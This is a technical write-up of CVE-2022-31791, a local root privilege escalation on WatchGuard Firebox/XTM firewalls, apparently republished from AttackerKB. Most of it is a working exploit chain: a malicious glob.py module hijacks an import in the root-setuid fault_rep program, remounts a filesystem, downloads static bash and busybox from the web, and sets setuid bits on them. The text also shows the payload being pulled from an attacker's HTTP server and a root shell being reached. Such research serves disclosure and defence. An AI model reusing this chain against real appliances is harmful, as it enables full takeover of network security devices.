TECHNICAL ANALYSISCVE-2022-31791

CVE-2022-31791 — WatchGuard Firebox/XTM Local Privilege Escalation

WatchGuard Firebox and XTM appliances allow a local attacker (that has already obtained shell access) to elevate their privileges and execute code with root permissions.

Originally published on Rapid7 AttackerKB · 2024-03-07 · revised 2024-03-21

Overview

This journey starts when you have gained initial access to the WatchGuard FireBox firewall instance as described in this CVE-2022-26318 research. The initial access is non privileged as user nobody and /etc/fstab shows that all filesystems are either protected with read-only, no-suid or no-exec. Another interesting aspect is that there is no shell installed at all and the available unix binaries are very limited as well as busybox which only provides a very limited command set. This significantly limits living-off-the-land options, with nmap being one of the notable binaries available by default.

Shell Banner:
Python 2.7.14 (default, Oct 16 2019, 15:38:29)
[GCC 6.5.0] on linux2
-----

>>> import os
>>> os.getuid()
99
>>> os.getgid()
96
>>> import subprocess
>>> print(open("/etc/fstab").read())
/dev/wgrd.sysa_code    /           ext2        ro,noatime              1 1
/dev/wgrd.sysa_data    /etc/wg     ext3        rw,noexec,noatime       0 0
none                   /proc       proc        defaults                0 0
none                   /sys        sysfs       defaults                0 0
/dev/wgrd.boot         /boot       ext2        ro,noexec,noatime       0 0
/dev/wgrd.pending      /pending    ext2        rw,noexec,noatime       0 0
/dev/wgrd.var          /var        ext2        rw,noexec,noatime       0 0

# wg_linux platform.pkgspec

>>> subprocess.call(["nmap", "127.0.0.1"])
Starting Nmap 7.70 ( https://nmap.org ) at 2024-03-08 19:55 CET
Nmap scan report for localhost.localdomain (127.0.0.1)
Host is up (0.0014s latency).
Not shown: 990 closed ports
PORT     STATE SERVICE
80/tcp   open  http
4125/tcp open  rww
4126/tcp open  ddrepl
5000/tcp open  upnp
5001/tcp open  commplex-link
5002/tcp open  rfe
5003/tcp open  filemaker
5004/tcp open  avt-profile-1
6001/tcp open  X11:1
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
0
>>>

So the big question, how do we get privileged access? Luckily, the appliance has python installed and this heavily used by a lot of specific binaries for WatchGuard. One of those binaries is the /usr/bin/fault_rep program, that generates a crash report whenever a program crashes. And it has the setuid bit set on user root.

>>> subprocess.call(["ls", "-l", "/usr/bin/fault_rep"])
-rwsr-xr-x    1 root     admin        31424 Sep 28  2021 /usr/bin/fault_rep
0
>>>

Having a closer look at the binary, it internally calls /usr/bin/diag_snapgen, a python program. Here are lines of the program:

>>> print(open("/usr/bin/diag_snapgen").read())
#!/usr/bin/python

#
# Diagnostic Snapshot Generator
#
# This script runs when a fault triggers through the Fault Reporting System.
#

import subprocess
import glob

#
# These files will have their contents copied into the diagnostic snapshot
# file.  Add (or subtract!) from this list at will.
#
FILES = [
    '/etc/wg/bootlog',
    '/var/log/*.log',
    '/var/log/trace/*.log',
    '/proc/interrupts',
    '/proc/meminfo'
]

#
# These programs will have their output copied into the diagnostic snapshot
# file.  Add (or subtract!) from this list at will.
#
PROGRAMS = [
    '/bin/ps',
    '/bin/ls -l /tmp',
    '/bin/df',
    '/bin/dmesg'
]

#
# Diagnostic Snapshot Generation
#

for i, path in enumerate(FILES):
    for j, name in enumerate(glob.glob(path)):
        print "=== %s ===" % (name)
        try:
            f = open(name)
            for line in f:
                print line,

            f.close()
        except:
            print "(Unable to open file!)"
        print

for i, name in enumerate(PROGRAMS):
    print "=== %s ===" % (name)
    try:
        name = name.split()
        p = subprocess.Popen(name, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        out, err = p.communicate()
        if p.returncode:
            raise(Exception(err))
        print out
    except:
        print "(Unable to run command!)"
    print

>>>

This is significant because the imported glob.py can be replaced with attacker-controlled code using the same module name, which is then loaded in a root context.

So let’s think this thru…

  • We create a malicious glob.py where we can run python code under the context of root.
  • This python code should remount a filesystem with exec and read-write rights.
  • A good candidate is the /dev/wgrd.pending filesystem.
  • We can download a static linked bash and busybox x86-64 binary from the web.
  • Change the ownership to root.admin and set the suid and sgid bit on both binaries.
  • We should now be able to spin off a root shell that gives us full control on the appliance.

This sounds like a plan… Here is malicious glob.py code.

import subprocess, os, requests, ctypes
# set root
os.setuid(0)
os.setgid(0)

# remount /pending directory to enable suid and execution
def mount(source, target, fs, options='', flags=0):
  ret = ctypes.CDLL('libc.so.6', use_errno=True).mount(source, target, fs, flags, options)
  if ret < 0:
    errno = ctypes.get_errno()
    raise RuntimeError("Error mounting {} ({}) on {} with options '{}': {}".format(source, fs, target, options, os.strerror(errno)))

# 32 -- MS_REMOUNT flag
mount('/dev/wgrd.pending', '/pending', 'ext2', 0, 32)

# get the bash static x86_64 binary
response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/bash", verify=False)
with open("/pending/tmp/bash", mode="wb") as file:
	file.write(response.content)

# get busybox static x86_64 binary
response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/busybox", verify=False)
with open("/pending/tmp/busybox", mode="wb") as file:
	file.write(response.content)

# setuid and sgid bit and make world executable. Bingo, you are root now!
os.chown("/pending/tmp/bash", 0, 0)
os.chmod("/pending/tmp/bash", 0o6755)
os.chown("/pending/tmp/busybox", 0, 0)
os.chmod("/pending/tmp/busybox", 0o6755)
exit()

Ok, let’s test this… We will first upload our malicious glob.py to /tmp which is by default read-write, however we can not run any binaries in /tmp except for python scripts. But that is anyhow all we need… To ensure that our malicious glob.py gets imported, we need to change the PYTHONPATH to /tmp or . . Invoking the root-SUID program /usr/bin/fault_rep then causes the attacker-controlled glob.py module to be loaded.

>>> import requests
>>> response = requests.get("http://192.168.201.8:1980/glob.py")
>>> with open("/tmp/glob.py", mode="w") as file:
... 	file.write(response.content)
...
>>> subprocess.call(["ls", "-l", "/tmp/glob.py"])
-rw-r--r--    1 nobody   wg            1364 Mar  8 17:03 /tmp/glob.py
0
>>>

Ok, we have successfully downloaded glob.py. Please ensure that you have a http server running on your attacker machine. Next step is to set the PYTHONPATH and run /usr/bin/fault_rep.

>>> myenv = os.environ.copy()
>>> myenv['PYTHONPATH'] = '.'
>>> print(myenv)
{'PYTHONPATH': '.'}
>>> subprocess.check_call(["/usr/bin/fault_rep", "-r", "'a'", "-c1", "-v"], env=myenv)
generating fault [01/unspecified] (Failed Assertion)...
0
>>>

Let’s check if the binaries are downloaded in /pending/tmp directory and owned by root.admin with suid and sgid bit set.

>>> subprocess.call(["ls", "-l", "/pending/tmp"])
-rwsr-sr-x    1 root     admin      2772944 Mar  8 17:14 bash
-rwsr-sr-x    1 root     admin      1894248 Mar  8 17:14 busybox
srw-r-----    1 nobody   nobody           0 Mar  7 22:38 cgi
-rw-r--r--    1 root     admin            0 Mar  8 16:37 configd.log
srw-rw-rw-    1 nobody   wg               0 Mar  7 22:38 epm
srw-rw-rw-    1 root     admin            0 Mar  7 22:38 geolocation
-rw-r--r--    1 nobody   wg            1364 Mar  8 17:00 glob.py
prw-------    1 nobody   wg               0 Mar  7 22:38 radiusd
prw-------    1 nobody   wg               0 Mar  7 22:38 rsso-auth
srwxr-xr-x    1 nobody   admin            0 Mar  7 22:38 webui
srw-rw-rw-    1 nobody   wg               0 Mar  8 16:00 wgagent
0
>>>

The technique succeeds; the next step is to obtain a bash root shell.

>>> subprocess.call(["/pending/tmp/bash", "-i"])
bash: cannot set terminal process group (11397): Not a tty
bash: no job control in this shell
bash-5.2$ /pending/tmp/busybox id
/pending/tmp/busybox id
uid=99(nobody) gid=96(wg)
bash-5.2$

Mmm, that’s strange. Looks that suid is not working. Ahh, this rings a bell. Set suid bit on a bash shell does not work out of the box. There is -p option that overrides this behavior.

bash-5.2# >>> subprocess.call(["/pending/tmp/bash", "-i", "-p"])
bash: cannot set terminal process group (11397): Not a tty
bash: no job control in this shell
bash-5.2# /pending/tmp/busybox id
/pending/tmp/busybox id
uid=99(nobody) gid=96(wg)

We got a root prompt, but we are still not there with full root access. Let’s start a python session in this shell and set the suid and sgid once more and launch the bash shell again.

bash-5.2# python -i
python -i
Python 2.7.14 (default, Oct 16 2019, 15:38:29)
[GCC 6.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.setgid(0)
>>> import subprocess
>>> subprocess.call(["/pending/tmp/bash", "-i"])
bash: cannot set terminal process group (12299): Not a tty
bash: no job control in this shell
bash-5.2# /pending/tmp/busybox id
/pending/tmp/busybox id
uid=0(root) gid=0(admin)
bash-5.2#

Here we go! We have full root access now.

References

Credits

Credits goes to Charles Fol of Ambionics Security who discovered this vulnerability.